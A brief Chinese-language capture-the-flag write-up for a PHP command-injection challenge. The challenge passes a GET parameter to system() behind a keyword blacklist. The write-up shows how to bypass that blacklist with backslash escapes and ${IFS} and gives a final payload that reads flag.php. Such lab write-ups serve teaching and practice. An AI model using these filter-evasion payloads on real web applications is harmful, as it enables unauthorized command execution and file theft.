打开题目在线环境可以看到：
php
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}这个代码审计起来就比较简单了，这里ls没有过滤可以直接用ls命令查看**?rce=ls**
查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 （可以在linux系统测试，是可以的） 空格过滤 ==>
${IFS}绕过 flag过滤 ==> fl\ag
最后的payload就是：?rce=c\at${IFS}fl\ag.php